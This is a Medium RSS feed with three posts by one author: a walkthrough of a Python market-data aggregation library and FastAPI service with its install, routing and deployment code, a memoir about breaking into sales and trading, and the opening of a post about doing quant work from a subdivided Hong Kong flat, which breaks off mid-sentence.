<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Frankline Misango on Medium]]></title>
        <description><![CDATA[Stories by Frankline Misango on Medium]]></description>
        <link>https://medium.com/@franklinemisango?source=rss-fa795e6a5cf------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NMxRO1Xdh8Yvu5Iaii9srw.jpeg</url>
            <title>Stories by Frankline Misango on Medium</title>
            <link>https://medium.com/@franklinemisango?source=rss-fa795e6a5cf------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 03:00:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@franklinemisango/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Built a Python Library for “Script kiddie” Quants ..pip! pip install!]]></title>
            <link>https://franklinemisango.medium.com/i-built-a-python-library-for-script-kiddie-quants-pip-pip-install-75efa0d7727f?source=rss-fa795e6a5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/75efa0d7727f</guid>
            <category><![CDATA[quantitative-finance]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[finance]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Frankline Misango]]></dc:creator>
            <pubDate>Sun, 30 Aug 2026 19:36:12 GMT</pubDate>
            <atom:updated>2026-08-30T19:53:29.096Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>If you cant afford bloomberg, you should read…That is 99.2% of us!</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*Rq-C5gD-1eBu036Jsegj5g.png" /><figcaption><a href="http://instagram.com/popular/quant-finance-meme/">http://instagram.com/popular/quant-finance-meme/</a></figcaption></figure><p>I would be running some research that would need me to pull AAPL + MSFT minute data using Alpaca/Yfinance.</p><p>Then the next day I’d switch to a different project — maybe BTC/SOL arbitrage or using Deep Learning to find any Mispricings with NVDA Options or some random correlation between NIKKEI and the US-Iran War.</p><p><strong>Whatever shows a positive Alpha!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*YtTSRraaG1RGQ4X3mXTVRw.png" /><figcaption>Investopedia and finding alpha means at ANY COST!</figcaption></figure><p>So when I switched from strat to strat, I’d realize I had to set up everything all over again — except this time, maybe i would need Binance or Databento as my data source. Thus it meant i had to use different libraries which would expect totally different arguments for the exact same data structure. Also every single provider returns a completely different schema.</p><p>What happened when I wanted to add a new provider? I had to touch <em>every single script</em>. When a provider tweaked their API? I’d be stuck patching every notebook, every pipeline, and every deployment.</p><h3>One API, One Schema, Many Providers</h3><blockquote>Most script kiddie broke quants don’t care <em>which </em>provider serves their data. They care that it’s accurate, consistent, and they don’t have to think about plumbing.</blockquote><p>So I built a service that abstracts away 15+ open source market data providers behind one get() call. Same schema for every asset class</p><pre>!pip install arithmaxchest<br>from achest import MarketDataClient<br>with MarketDataClient(token=&quot;your-token&quot;) as client:<br>    df = client.get([&quot;AAPL&quot;, &quot;BTCUSDT&quot;, &quot;ES.FUT&quot;], &quot;2025-01-01&quot;, &quot;2025-01-31&quot;)</pre><p>That one call can fetch equities, crypto, futures, GDPs etc with each routed to the best available provider and returns a clean DataFrame every time.</p><p>That single call fetches equities, crypto, and futures under the hood:</p><ol><li><strong>Symbol Classification</strong>: Automatically identifies AAPL as an equity, BTCUSDT as crypto, and ES.FUT as a future.</li><li><strong>Smart Routing</strong>: Directs crypto to Binance, futures to Databento, and equities to Yahoo Finance.</li><li><strong>Normalization</strong>: Parses and standardizes raw payloads into a clean, unified Pandas DataFrame.</li></ol><h3>The Development</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yK6tYFGgNPK2yvvaK1X10A.jpeg" /><figcaption>gemini generated image to show how everything works</figcaption></figure><p>To keep my local environment clean, I decoupled the engine into a backend service using <strong>FastAPI + Docker</strong>. I deployed it on a cheap AWS EC2 instance with <strong>Caddy</strong> handling HTTPS automatically.</p><pre>pip install arithmaxchest[all]<br>uvicorn achest.server:app - host 0.0.0.0 - port 8000</pre><p>Docker for production:</p><pre>FROM python:3.11-slim<br>WORKDIR /app<br>COPY . .<br>RUN pip install --no-cache-dir &#39;.[all]&#39;<br>CMD [&quot;uvicorn&quot;, &quot;achest.server:app&quot;, &quot;--host&quot;, &quot;0.0.0.0&quot;, &quot;--port&quot;, &quot;8000&quot;]<br></pre><h3>So what did I Learn</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*JVr03NY3Nus9TlvOe9MK3Q.jpeg" /><figcaption>meme from sam.jeanne.b in tiktok</figcaption></figure><p>Building a unified wrapper around inconsistent data sources provided a few core engineering takeaways:</p><ul><li><strong>Normalize at the boundary, not in the app:</strong> Translating provider-specific schemas into a standardized structure at the entry point saves hundreds of hours of downstream data cleaning.</li><li><strong>Treat API keys like infrastructure secrets:</strong> Scattering credentials across local environments is an operational risk; abstracting key management into a central gateway makes environments vastly safer and simpler to manage.</li><li><strong>Decouple source logic from strategy code:</strong> Backtests and trading algorithms shouldn’t care <em>where</em> the data comes from — only that it arrives in a reliable, predictable format.</li></ul><h3>Who This Is For</h3><ul><li><strong>FIRST OF ALL ME and other QRs :</strong> Focus entirely on signal generation and model building without writing vendor-specific boilerplate</li><li><strong>Algo Traders:</strong> Run backtests seamlessly across multiple asset classes and providers using a single, unified interface.</li><li><strong>Engineering Teams:</strong> Share a centralized data gateway across the organization without distributing sensitive API keys to every environment.</li><li><strong>Developers:</strong> Eliminate the ongoing maintenance burden of glue code and custom vendor wrappers</li></ul><p>Hope you enjoy tinkering with it</p><p><a href="https://github.com/arithmax%20research/Arithmax_Chest"><em>https://github.com/arithmax research/Arithmax_Chest</em></a><em> .</em></p><h3>Appendix For the SWEs lol</h3><h4>1.1 Package Structure</h4><pre>arithmaxchest (v0.3.0)          ← Published as `pip install arithmaxchest`<br>│<br>├── achest/<br>│   ├── __init__.py              ← Exports MarketDataClient, to_q_table, __version__<br>│   ├── client.py                ← MarketDataClient SDK (httpx-based)<br>│   ├── server.py                ← FastAPI application (uvicorn)<br>│   └── service.py               ← Routing engine + provider fetchers<br>│<br>├── Data_Pipeline/               ← Bulk ingestion tooling (not in published package)<br>│   ├── main.py                  ← CLI orchestrator for all downloaders<br>│   ├── config.py                ← Symbol lists, API keys, path config<br>│   ├── utils.py                 ← LEAN format converters, logging, validation<br>│   ├── data_validator.py        ← Post-download quality assurance<br>│   ├── interactive.py           ← Rich-powered terminal UI<br>│   └── {provider}_downloader.py ← 15+ individual downloaders<br>│<br>├── tests/<br>│   ├── test_routing.py          ← Provider selection + Q-table export tests<br>│   └── test_lean_and_ytd.py     ← LEAN paths, YTD window, API status tests<br>│<br>├── pyproject.toml               ← Build config, dependencies, metadata<br>├── Dockerfile                   ← Container build<br>├── docker-compose.ec2.yml        ← Production deployment (API + Caddy)<br>├── Caddyfile                    ← TLS termination<br>└── README.md                    ← User-facing documentation<br>```</pre><h4>2 <strong>Provider Routing Engine</strong></h4><h4>2.1 <strong>Symbol Classification (`classify_symbol`)</strong></h4><pre>def classify_symbol(symbol: str) -&gt; str:<br>    clean = symbol.upper().strip()<br>    if clean.endswith((&quot;USDT&quot;, &quot;USDC&quot;, &quot;-USD&quot;)):    return &quot;crypto&quot;<br>    if clean.endswith(&quot;.FUT&quot;) or &quot;.c.&quot; in clean<br>       or clean in FUTURES_ROOTS:                    return &quot;futures&quot;<br>    if clean.startswith(&quot;^&quot;):                        return &quot;index&quot;<br>    if clean in ECONOMIC_SYMBOLS:                    return &quot;economic&quot;<br>    if clean.isalpha() and len(clean) &lt;= 5:          return &quot;equity&quot;<br>    return &quot;equity&quot;  # fallback</pre><h4>2.1 <strong>Provider Capability Registry</strong></h4><pre>    &quot;yahoo&quot;:   {&quot;assets&quot;: {&quot;equity&quot;, &quot;etf&quot;, &quot;index&quot;, &quot;crypto&quot;, &quot;forex&quot;, &quot;futures&quot;},<br>                &quot;resolutions&quot;: {&quot;minute&quot;, &quot;hour&quot;, &quot;daily&quot;, &quot;weekly&quot;, &quot;monthly&quot;}},<br>    &quot;binance&quot;: {&quot;assets&quot;: {&quot;crypto&quot;},<br>                &quot;resolutions&quot;: {&quot;tick&quot;, &quot;second&quot;, &quot;minute&quot;, &quot;hour&quot;, &quot;daily&quot;,<br>                                &quot;weekly&quot;, &quot;monthly&quot;}},<br>    &quot;massive&quot;: {&quot;assets&quot;: {&quot;equity&quot;, &quot;etf&quot;, &quot;index&quot;, &quot;crypto&quot;, &quot;forex&quot;,<br>                           &quot;futures&quot;, &quot;options&quot;},<br>                &quot;resolutions&quot;: {&quot;tick&quot;, &quot;second&quot;, &quot;minute&quot;, &quot;hour&quot;, &quot;daily&quot;,<br>                                &quot;weekly&quot;, &quot;monthly&quot;}},<br>    &quot;databento&quot;: {&quot;assets&quot;: {&quot;equity&quot;, &quot;etf&quot;, &quot;futures&quot;, &quot;options&quot;, &quot;forex&quot;},<br>                  &quot;resolutions&quot;: {&quot;tick&quot;, &quot;second&quot;, &quot;minute&quot;, &quot;hour&quot;, &quot;daily&quot;}},<br>    &quot;alpaca&quot;:    {&quot;assets&quot;: {&quot;equity&quot;, &quot;etf&quot;, &quot;crypto&quot;},<br>                  &quot;resolutions&quot;: {&quot;tick&quot;, &quot;minute&quot;, &quot;hour&quot;, &quot;daily&quot;}},<br>    &quot;tiingo&quot;:    {&quot;assets&quot;: {&quot;equity&quot;, &quot;etf&quot;, &quot;index&quot;, &quot;crypto&quot;, &quot;forex&quot;},<br>                  &quot;resolutions&quot;: {&quot;tick&quot;, &quot;second&quot;, &quot;minute&quot;, &quot;hour&quot;, &quot;daily&quot;}},<br>    &quot;alpha_vantage&quot;: {&quot;assets&quot;: {&quot;equity&quot;, &quot;etf&quot;, &quot;index&quot;, &quot;crypto&quot;, &quot;forex&quot;, &quot;economic&quot;},<br>                      &quot;resolutions&quot;: {&quot;minute&quot;, &quot;hour&quot;, &quot;daily&quot;, &quot;weekly&quot;, &quot;monthly&quot;}},<br>    &quot;fred&quot;:  {&quot;assets&quot;: {&quot;economic&quot;},<br>              &quot;resolutions&quot;: {&quot;daily&quot;, &quot;weekly&quot;, &quot;monthly&quot;, &quot;quarterly&quot;, &quot;annual&quot;}},<br>    &quot;quandl&quot;:{&quot;assets&quot;: {&quot;equity&quot;, &quot;etf&quot;, &quot;index&quot;, &quot;crypto&quot;, &quot;economic&quot;, &quot;futures&quot;},<br>              &quot;resolutions&quot;: {&quot;daily&quot;, &quot;weekly&quot;, &quot;monthly&quot;, &quot;quarterly&quot;, &quot;annual&quot;}},<br>}</pre><h4>2.1 <strong>Provider Selection Algorithm (`select_provider`)</strong></h4><pre>def select_provider(symbol: str, requested: str, resolution: str) -&gt; str:<br>    asset = classify_symbol(symbol)<br>    <br>    # Explicit provider: validate capability + key config<br>    if requested != &quot;auto&quot;:<br>        caps = PROVIDER_CAPABILITIES.get(requested)<br>        if not caps or asset not in caps[&quot;assets&quot;]<br>           or resolution not in caps[&quot;resolutions&quot;]:<br>            raise UnsupportedRequest(...)<br>        if not _provider_key_configured(requested):<br>            raise UnsupportedRequest(...)<br>        return requested<br>    <br>    # Auto-routing: preference chains per asset type<br>    preferences = {<br>        &quot;futures&quot;:   [&quot;databento&quot;, &quot;massive&quot;],<br>        &quot;crypto&quot;:    [&quot;binance&quot;, &quot;yahoo&quot;, &quot;tiingo&quot;, &quot;alpha_vantage&quot;],<br>        &quot;equity&quot;:    [&quot;yahoo&quot;, &quot;alpaca&quot;, &quot;tiingo&quot;, &quot;alpha_vantage&quot;],<br>        &quot;etf&quot;:       [&quot;yahoo&quot;, &quot;alpaca&quot;, &quot;tiingo&quot;],<br>        &quot;index&quot;:     [&quot;yahoo&quot;, &quot;alpaca&quot;, &quot;tiingo&quot;],<br>        &quot;economic&quot;:  [&quot;fred&quot;, &quot;quandl&quot;],<br>    }.get(asset, [&quot;yahoo&quot;])<br>    <br>    # Return first configured provider supporting the resolution<br>    for provider in preferences:<br>        if resolution in PROVIDER_CAPABILITIES[provider][&quot;resolutions&quot;]<br>           and _provider_key_configured(provider):<br>            return provider<br>    <br>    raise UnsupportedRequest(...)<br><br># Define for each provider<br>API key mapping for _provider_key_configured():<br><br>_PROVIDER_KEY_MAP = {<br>    &quot;databento&quot;:     &quot;DATA_BENTO_API_KEY&quot;,<br>    &quot;massive&quot;:       &quot;MASSIVE_API_KEY&quot;,<br>    &quot;alpaca&quot;:        &quot;ALPACA_API_KEY&quot;,<br>    &quot;tiingo&quot;:        &quot;TIINGO_API_KEY&quot;,<br>    &quot;alpha_vantage&quot;: &quot;ALPHA_VANTAGE_API_KEY&quot;,<br>    &quot;fred&quot;:          &quot;FRED_API_KEY&quot;,<br>    &quot;quandl&quot;:        &quot;QUANDL_API_KEY&quot;,<br>    &quot;binance&quot;:       &quot;&quot;,  # public API, no key needed<br>    &quot;yahoo&quot;:         &quot;&quot;,  # public API, no key needed<br>}</pre><h4>2.2 Select Providers</h4><pre>def _fred(symbol: str, request: DataRequest) -&gt; pd.DataFrame:<br>    response = requests.get(<br>        &quot;https://api.stlouisfed.org/fred/series/observations&quot;,<br>        params={&quot;series_id&quot;: symbol, &quot;api_key&quot;: key,<br>                &quot;observation_start&quot;: start, &quot;observation_end&quot;: end,<br>                &quot;file_type&quot;: &quot;json&quot;}<br>    )<br>    # Returns date, value pairs → OHLCV (value replicates across OHLC)<br><br>### 3.6 Alpaca<br><br>def _alpaca(symbol: str, request: DataRequest) -&gt; pd.DataFrame:<br>    # GET https://data.alpaca.markets/v2/stocks/{symbol}/bars<br>    # Adjustable timeframe (1Min, 1Hour, 1Day)<br>    headers = {&quot;APCA-API-KEY-ID&quot;: key, &quot;APCA-API-SECRET-KEY&quot;: secret}<br><br>### 3.7 Tiingo<br><br>def _tiingo(symbol: str, request: DataRequest) -&gt; pd.DataFrame:<br>    # GET https://api.tiingo.com/tiingo/daily/{symbol}/prices<br>    # Headers: {&quot;Authorization&quot;: f&quot;Token {key}&quot;}<br><br>### 3.8 Alpha Vantage<br><br>def _alpha_vantage(symbol: str, request: DataRequest) -&gt; pd.DataFrame:<br>    # GET https://www.alphavantage.co/query<br>    # params: function=TIME_SERIES_DAILY, symbol=..., apikey=..., outputsize=full<br>    # Parses nested JSON keys like &quot;1. open&quot;, &quot;2. high&quot;, etc.<br><br><br>### 3.9 Quandl<br><br>def _quandl(symbol: str, request: DataRequest) -&gt; pd.DataFrame:<br>    # GET https://www.quandl.com/api/v3/datasets/{symbol}/data.json<br>    # Column-name adaptive — uses .get() for OHLCV, tolerates missing volume<br></pre><h4>3 Fetching Logic</h4><pre>def fetch_symbol(request: DataRequest, symbol: str) -&gt; tuple[str, pd.DataFrame]:<br>    provider = select_provider(symbol, request.provider, request.resolution)<br>    frame = fetchers[provider](symbol, request)<br>    if not frame.empty:<br>        frame.index = pd.to_datetime(frame.index, utc=True)<br>        frame.insert(0, &quot;symbol&quot;, symbol)<br>        frame.insert(1, &quot;provider&quot;, provider)<br>    return provider, frame<br><br>def fetch(request: DataRequest) -&gt; pd.DataFrame:<br>    # Validates start ≤ end, non-empty symbols<br>    # For each symbol → fetch_symbol → collect non-empty frames<br>    # pd.concat(frames).sort_index()<br>    # Returns columns: [symbol, provider, open, high, low, close, volume]</pre><h4>4. API Server</h4><pre><br>| GET | `/health` | No | `{&quot;status&quot;: &quot;ok&quot;}` |<br>| GET | `/v1/providers` | Bearer token | Provider capability listing |<br>| GET | `/v1/route` | Bearer token | Selected provider |<br>| POST| `/v1/data` | Bearer token | JSON, CSV, or Parquet |<br><br>### Request Model (Pydantic)<br><br>class DownloadRequest(BaseModel):<br>    symbols: list[str]          # min_length=1<br>    start: date<br>    end: date<br>    resolution: str = &quot;daily&quot;   # validated: tick/second/minute/hour/daily<br>    provider: str = &quot;auto&quot;<br>    format: str = &quot;csv&quot;         # validated: json/csv/parquet<br><br>### Response Serialization<br><br>if request.format == &quot;json&quot;:<br>    return Response(table.to_json(orient=&quot;records&quot;, date_format=&quot;iso&quot;),<br>                    media_type=&quot;application/json&quot;)<br>if request.format == &quot;csv&quot;:<br>    return Response(table.to_csv(index=False), media_type=&quot;text/csv&quot;)<br># Parquet binary with Content-Disposition header<br>output = BytesIO()<br>table.to_parquet(output, index=False)<br>return Response(output.getvalue(), media_type=&quot;application/octet-stream&quot;,<br>                headers={&quot;Content-Disposition&quot;: &quot;attachment; filename=market-data.parquet&quot;})<br><br>### Auth<br><br>def require_client_token(authorization: str | None = Header(default=None)):<br>    expected = os.getenv(&quot;DATA_API_TOKEN&quot;)<br>    if expected and authorization != f&quot;Bearer {expected}&quot;:<br>        raise HTTPException(status_code=401)</pre><h4>5. Client SDK</h4><pre>class MarketDataClient:<br>    def __init__(self, base_url=None, token=None, timeout=300.0):<br>        self.client = httpx.Client(<br>            base_url=(base_url or &quot;https://achest.misango.me&quot;).rstrip(&quot;/&quot;),<br>            headers={&quot;Authorization&quot;: f&quot;Bearer {token}&quot;} if token else {},<br>            timeout=timeout<br>        )<br><br>    def get(self, symbols, start, end, resolution=&quot;daily&quot;, provider=&quot;auto&quot;):<br>        return pd.DataFrame(<br>            self.client.post(&quot;/v1/data&quot;, json={...}).json()<br>        )<br><br>    def download(self, symbols, start, end, output, resolution=&quot;daily&quot;,<br>                 provider=&quot;auto&quot;, format=&quot;parquet&quot;):<br>        response = self.client.post(&quot;/v1/data&quot;, json={...})<br>        Path(output).write_bytes(response.content)<br>        return Path(output)<br><br>    def route(self, symbol, resolution=&quot;daily&quot;, provider=&quot;auto&quot;):<br>        return self.client.get(&quot;/v1/route&quot;, params={...}).json()</pre><h4>6. Deployment Infrastracture</h4><pre>dockerfile<br>FROM python:3.11-slim<br>WORKDIR /app<br>COPY pyproject.toml README.md ./<br>COPY achest ./achest<br>RUN pip install --no-cache-dir &#39;.[all]&#39;<br>EXPOSE 8000<br>CMD [&quot;uvicorn&quot;, &quot;achest.server:app&quot;, &quot;--host&quot;, &quot;0.0.0.0&quot;, &quot;--port&quot;, &quot;8000&quot;]<br>```<br><br>### 10.2 Docker Compose (EC2)<br><br>Two services:<br>- **api**: FastAPI container with all provider env vars from `.env`<br>- **caddy**: Caddy 2.8 for TLS termination on port 443<br><br>services:<br>  api:<br>    build: .<br>    container_name: achest-api<br>    restart: unless-stopped<br>    env_file: .env<br>    expose: [&quot;8000&quot;]<br><br>  caddy:<br>    image: caddy:2.8-alpine<br>    ports: [&quot;127.0.0.1:4443:443&quot;]<br>    volumes: [&quot;./Caddyfile:/etc/caddy/Caddyfile:ro&quot;]<br><br>### 10.3 Caddyfile<br><br>achest.misango.me {<br>    reverse_proxy api:xxxx<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75efa0d7727f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Scalping for Alpha with a self-funded portfolio to SnT]]></title>
            <link>https://franklinemisango.medium.com/self-taught-trader-to-snt-for-a-wall-street-bulge-bracket-titan-508fd267aad5?source=rss-fa795e6a5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/508fd267aad5</guid>
            <category><![CDATA[hong-kong]]></category>
            <category><![CDATA[finance]]></category>
            <category><![CDATA[first-generation]]></category>
            <category><![CDATA[startup]]></category>
            <category><![CDATA[nontraditional-students]]></category>
            <dc:creator><![CDATA[Frankline Misango]]></dc:creator>
            <pubDate>Mon, 20 Apr 2026 17:05:23 GMT</pubDate>
            <atom:updated>2026-04-20T18:09:57.101Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Personal Memoir and a Guide for Non-Traditional Candidates to Sell-Side, Front-Facing Roles</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*KzVBxFSMJAKzHXYx1XO6aA.jpeg" /><figcaption><a href="https://www.dreamstime.com/editorial-photo-biggest-banks-world-logos-high-quality-vector-collection-eps-file-available-n-image78364221">https://www.dreamstime.com/editorial-photo-biggest-banks-world-logos-high-quality-vector-collection-eps-file-available-n-image78364221</a></figcaption></figure><p>“I went to get a PhD in Economics, and I went there, and I said: ‘These people are crazy. They’re trying to shove the economy into a math formula. It doesn’t make any sense.”</p><p>These are words from Stanley Druckenmiller. I resonated with them when I dropped from the ECON1210 HKU Business School course and hence lost a second Finance major. This was all within the first 45 mins of the seminar. I wanted to learn about Economics, not waste time in a 3-month course where I knew I would resort to learning tricks on how to utilize MS Excel and GeoGebra just to pass the course, not learn anything about economics.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DIuRUWXBfvADKh5IEDXnOw.png" /><figcaption>An ad showing one can buy econ 1210 coaching haha</figcaption></figure><p>Immediately, I enrolled in Robert Shiller’s Financial Markets on Coursera. A generalist course, no math equations required. Just a historical class on some economics and markets since the 1900s.</p><p>Later that night, I also went to Carousell and bought two books: Market Wizards and New Market Wizards, both by Jack D Schwager. I would read those interviews in the MTR, the Library, and any book-friendly place I found. What made those books engaging is the simplicity. Reiterations and asking the right questions to the traders. I also subscribed to FINAiUS and watched every single video. Rocky Xu, the curator, does a few things best: He narrates every documentary with a factual demeanour, high-grade research, and animations that glued me up every time he released something.</p><p>It is a privilege to learn about Wall Street gods, banks, hedge funds, and successful countries, all from their humble foundations within 45–60 min episodes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*61UAiBzSuNMFJtJ9sIuIzg.png" /><figcaption><a href="https://www.youtube.com/@Finaius">https://www.youtube.com/@Finaius</a></figcaption></figure><p>From these two escapades, two things stood out to me about markets: It is all about composure under pressure, handling risk, looking where everyone is not, and some luck.</p><p>These are things that cannot be learnt. They also cannot be inherited to some extent. They can only be cultivated. I can handle pressure because I once worked for a retail bank back at home, and it was hell. I was handling thousands of transactions at 17. The atmosphere was tense. As a first-generation and firstborn kid, handling risk came to me naturally. The pressure to perform and compose myself when everything was failing was well ingrained during my time at HKU and HK.</p><p>Sometimes during those days, I would tune in to Alan Watts and meditate and “talk” with Buddha to allow me to be like water and flow with the problems I was going through.</p><p>When I was applying for HK market roles, I knew I would be competing with traditional students more suitable for these roles. First of all, mostly from rich backgrounds, with a (tri/bi) lingual language advantage based on my location. Many applicants to these roles at my school and peers’ schools are actually wealthy. They are also part of a competitive and largely exclusive Investment Banking/Trading university clubs. Their members tick certain boxes: A shiny finance-related degree, a very high GPA, existing relationships with the club heads, consulting winternships, part-time experience with boutique firms, internships with firms whose parents are clients, etc.</p><p>Foremost, I attend college on a scholarship, as an international student, thus, no connections. My parents aren’t wealthy enough to know anyone in the banking industry in my own country to begin with. So the whole onus is on me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lrKQbNLxYRmYCdeQ5zLojQ.jpeg" /><figcaption><a href="https://studybreaks.com/college/fgli-students/">https://studybreaks.com/college/fgli-students/</a></figcaption></figure><p>So with those ticked off, what I actually lacked was formulating market insights, and some luck. So my biggest hurdle would be to get a human being to review my resume or an AI to be in my favour to forward it. I lacked the experience or a more relatable one to the role.</p><p>Pretty much all of my internships were tech-based and research, and I practically had no markets/trading acumen in my penultimate year.</p><p>At the onset of my deferral, I applied to 100s of off-cycle roles on markets, supply chain, consulting, investment management, and was lucky to land ONLY ONE in an MNC Supply chain firm. These roles taught me a lot of things, but the key ones were business valuation, accounting, business operations, merchandise analytics, and customer service. I learnt how to communicate about business and balance the technical aspect as well.</p><p>After that, I took a 2025 summer research role at EPFL, where I met some fellow undergraduate researchers who wanted to get into markets one way or another. These are brilliant MIT, IIT, and Ivy League candidates. We were beginning to be aware of the preference of quant firms for our profiles despite our lack of financial knowledge whatsoever.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*YDQLFtJ5yllLy7aACBX5Rw.png" /><figcaption><a href="https://summer.epfl.ch/">https://summer.epfl.ch/</a></figcaption></figure><p>So we just decided, what if we form a “firm” ourselves and self-learn part-time, publish, and maybe sell our services if fit. So we started a research service fund from scratch. So here we are, no data centers, satellite dishes, no capital, and most interesting of all, no edge! I quickly jumped into Canva and asked Claude to generate a logo for me about the firm. From then on, we divided work amongst five of us, and I would be the developer most of the time. My peer would maybe have an idea of how futures would be in a certain way if the US/UK adjusted some policies. I would be responsible for finding the data, preparing the notebooks, and adding parameters for testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*TjR7oT6e865wEzJZCq-8iQ.png" /><figcaption><a href="https://www.linkedin.com/company/arithmax-research/">https://www.linkedin.com/company/arithmax-research/</a></figcaption></figure><p>Since we had to source everything from open source, I had no issues finding documentation and coding most of the time. Automating everything for my peers to find research papers, news, conduct fundamental/technical analysis, and other pipelines that lessen research times. Rinse and repeat for 12 months.</p><p>I was very ready for markets, or so I thought. I had read a lot about the assets, coordinated how they would be traded, and ensured stop loss resiliency when the fundamentals would break. This was much better for me than taking the HKU FINA2322 Derivatives course, to try passing and barely learn anything about what these assets really entail. When the recruitment season came, I knew I would have a slight hand when it came to knowing much of the stuff. It would be easier to explain since I had learnt from fundamentals, implemented the hard stuff, and paired with peers and AI whenever I got stuck.</p><p>The reality, though, is I was rejected by 99% of all the Global Markets and Sales &amp; Trading firms, either because they gauged me through a 30-minute HireVue, automated gamified application systems like filling up balloons, etc. Things that don’t have anything to do with markets, or rather, they didnt show me how they relate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hOYaskoDrqIqScUJKU0uUw.png" /><figcaption>my application history</figcaption></figure><p>The 1% firms whose applicant portal wanted me to write essays or paste “write anything you want the hiring committee to know” really allowed me to show who I really am. I had so much to write about my experience being a “street” trader, surviving an already rigorous STEM degree, and cultivating interest in markets from unlikely places.</p><p>In the interviews, I largely spoke about my experiences with the markets as an already disadvantaged retail trader, not the polished answers these applicants rehearse about. Those previous nights before interviews, I would ask Copilot to create an “A/B/C/D/E” rapid market and mental math rounds.</p><p>50 questions at a session to see whether I could answer the fundamentals. I would then prompt it on the latest news, and would articulate the stock pitches without much difficulty, and learn from my scores.</p><p>However, I waited patiently for the interviews to shift to behavioural, where I would be utilizing my experiences strengths in the rest of the interview. I would speak of the challenges and workarounds I would utilize when trying to find data for the startup. How I would handle invalidation of sound hypotheses, how I would react to systems broken and needing immediate fixture amidst a hectic HK schedule, and, importantly, how I thrived in all of these, and show we could still achieve an alpha. Not a big one, but at least an acceptable one despite our circumstances.</p><p>I got in at the end. Perhaps through the long non-traditional route. I still don’t believe it. I convince myself I earned it because I had to do so much to get it. However, I am curious to see whether my street “geekiness” would work in corporate.</p><p>I wanna learn something from this new challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fNyAyY1e50MfsNhP6bNcdA.jpeg" /><figcaption><a href="https://www.reddit.com/r/itookapicture/comments/1mm9z2a/itap_of_hong_kongs_skyline_at_night_from_across/">https://www.reddit.com/r/itookapicture/comments/1mm9z2a/itap_of_hong_kongs_skyline_at_night_from_across/</a></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=508fd267aad5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I “Quant” from my 25sq. ft. Tong fong (劏房).]]></title>
            <link>https://franklinemisango.medium.com/how-i-quant-from-my-25sq-ft-tong-fong-%E5%8A%8F%E6%88%BF-7b604fc15b36?source=rss-fa795e6a5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b604fc15b36</guid>
            <category><![CDATA[quantitative-finance]]></category>
            <category><![CDATA[startup]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[trading]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Frankline Misango]]></dc:creator>
            <pubDate>Thu, 09 Apr 2026 08:36:12 GMT</pubDate>
            <atom:updated>2026-04-09T08:36:12.183Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ofy62JSlJEybMoWiB7yOlA.jpeg" /><figcaption><a href="https://www.reddit.com/r/HongKong/comments/1j93fol/atop_the_peak/">https://www.reddit.com/r/HongKong/comments/1j93fol/atop_the_peak/</a></figcaption></figure><p>A Tong fong (劏房) is a subdivided apartment, commonly in Hong Kong, where you share common spaces and utilities with mostly 3–4 other residents. This style of living is very common for budget-conscious individuals, fresh grads, and students on the crude side of the high cost of renting a proper house in Hong Kong. It is not the most comfortable living space, as you strictly keep essentials and ensure your devices are in the lowest energy consumption, and small enough to fit in. It is a headache finding IKEA organizers that can transform your 25 sq. ft. into a “Mansionette”. Luckily, I am a core minimalist except for my Book space, Gaming gear, and anything that screams tech.</p><p>50% of my essential space is filled with a “High End” computing infrastructure assembled from second-hand parts from HK’s Carousell and Taobao (淘寶). You can guess how the space is essentially hell when trying to train a Machine Learning Model overnight, or when doing hardware stress tests to mimic complex algorithms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kwmtu5qJVRHko9GfGmsgJQ.jpeg" /><figcaption>PC</figcaption></figure><p>With only one window and one Panasonic AC probably installed in the 1990s, you need efficient aeration and dehumidification mechanisms to remain healthy in this space. And yes, you need a strong mental fortitude to keep shifting stuff so that your desk can accommodate what you are doing at that time, i.e., coding, doing assignments, and hurling chopsticks into your favorite 